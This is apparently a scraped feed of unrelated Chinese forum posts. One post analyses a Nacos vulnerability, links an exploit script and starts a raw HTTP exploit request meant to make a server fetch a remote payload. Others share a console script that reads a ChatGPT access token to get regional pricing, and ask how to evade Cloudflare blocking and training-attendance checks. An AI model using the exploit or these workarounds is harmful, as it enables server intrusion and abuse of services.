网上溜达的时候跳到一个长的很像cloudflare认证的网站，根据它的提示操作了一通，哐哐提示我要输入电脑密码，嘿，我这好奇心一下就上来了，摸到了它的脚本，几次base64解开得到下面这种玩意儿 
 [image] 
把它丢给codex 
 [image] 
 [image] 
网上溜达的时候还是要小心哦，那个破网站普通人还是很容易中招的 🤣

刚刚发的文章被删了，还是发一些之前的其他的简单文章吧，刚刚加入大家见谅 

个人理解的漏洞原理：本质实际上就是在20年那个未授权的基础上添加了命令执行，但是也导致了该漏洞的利用条件变得比较苛刻，目前测试需要比较多的条件才能进行漏洞利用** 
1. 0day作者的poc地址
https://github.com/ayoundzw/nacos-poc/blob/main/exploit.py 
2. poc提取
根据作者的poc，其本质上就是两种poc数据包，下面的poc并不一定可以直接使用，下面漏洞分析的时候会解答 

利用该poc去服务器地址远程下载payload代码

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: python-requests/2.31.0
Accept-En...

询问各位大佬，企业微信，非内部群组，机器人能否接入

佬友是会起哄架秧子的，随便说点啥都能成FLAG了。 
我是那放鸽子的人吗？不过是这几天实在太忙，不得空罢了。 
现在空下来就来还FLAG，还有其他猛男粉的佬友呢，集合一下。 
 [IMG6055]

有大佬测过5x和20x plan可以生成多少图片？以及codex大概可以用多少额度

我当前让codex自己算消耗的额度…42个账号5个30多刀，80%以上都有10刀 
这个数据正常吗？还是ai自己算的有问题

我是新注册了一个gpt账号，然后订阅了优惠的48个月的2个座位的team，然后添加了两个邮箱进组，我看管理页面显示 3/2 seats in use， 这个意思是我用了的3个席位吗？ 
 [image]

下载附件名字是乱码，有没有什么方案可以解决？ 
看了论坛里的几个油猴脚本，好像都失效了。 
 [image]

[image] 
如图，这个蓝框数字的emoji,已经给我看出ptsd了。。。 
用着用着pro突然给我来了这个我就知道肯定要拉托大的了 🫠 
一开始的时候以为是我的问题，但直觉告诉我回答不至于这么点不到点子上啊 
又重试了一下，确实是降智了。 
（甚至这是我在Pro号里面用entend pro问的时候出现的 🫪 
奥特曼你在干什么？！ 
遇见这种数字emoji的时候伴随降智情况吗？
投票

发现有这么一段话，似乎是可以提高对 时间侧信道攻击 抵抗能力。 

The RustCrypto interface. Deploy with . Note that our own ECC implementation is faster and has smaller binary size, so not all boards support RustCrypto yet.--rust-crypto

google/OpenSK/tree/2.0  是有FIDO联盟L1认证，不过目前比较稳健的方案，opensk 2.1 在功能上是最佳选择。 

昨天下单了一个 nRF52840 开发板，准备再试试。 （去年有初步尝试，再次看看吧 😆

今天发现打开codex，右则怎么不显示项目目录结构了，有佬知道是咋回事么 
 [image]

有没有佬解答一下，codex号401了之后接码，直接发送到whatsapp可以接到吗，还是只能用英国号创建加邮箱了啊 
 [image]

首先我是参考这个文章的 
https://linux.do/t/topic/2092962 
通过泰国的邀请码 折扣码进入打折页面 
 [PixPin2026-05-1117-41-32] 
打开F12 设置允许粘贴 下面的代码是一位老哥提供的 感谢他哈 
(async function () {
    console.log(" 正在为 thinkingmachinesth 生成泰国版支付长链接...");
    try {
        const session = await fetch("/api/auth/session").then((r) => r.json());
        if (!session.accessToken) {
            throw new Error("无法获取 Token，请确保已登录 ChatGPT");
        ...

[image] 
只能生成图片，没办法修改，这种应该怎么处理呢

如题，最近更新了Memories功能，不知道效果如何

最近在参加职称培训，需要学习满一定课时（需要一直学，然后20分钟确认一次，再切换课程），然后现在我在codex里面创建了computer use。但是他回复我的是这通常是培训视频，需要验证你本人学习，我只能给你创建20分钟的心跳提醒。    佬们能告诉我怎么解决吗

环境：CPA + newapi + VPN + Cloudflared + Macmini4 节点搭建号池 
佬友请看图： 
 [image] 
 [image] 
 [image] 
问了AI，说是chatgpt的cloudflare的干的好事。。。 
有没有什么策略，或者手段给cloudflare喂点安眠药 🤣 安静下来…

刚把脚本搞好在openwet跑，没爽几天，移送线路晚高峰必炸，看来是只能用V6直连了，V6延迟超，就是V4用不了。 
飞牛OS的穿透能白嫖吗，延迟挺低的

[1778492615493d] 
如图，新装了最新版的cc，在settings.json中添加了hasCompletedOnboadrding之后，出现了这个，有没有佬知道这个如何跳过？

像小红书上有卖大模型八股资料的，不知道靠不靠谱。有没有大家觉得比较好的资源，感激不尽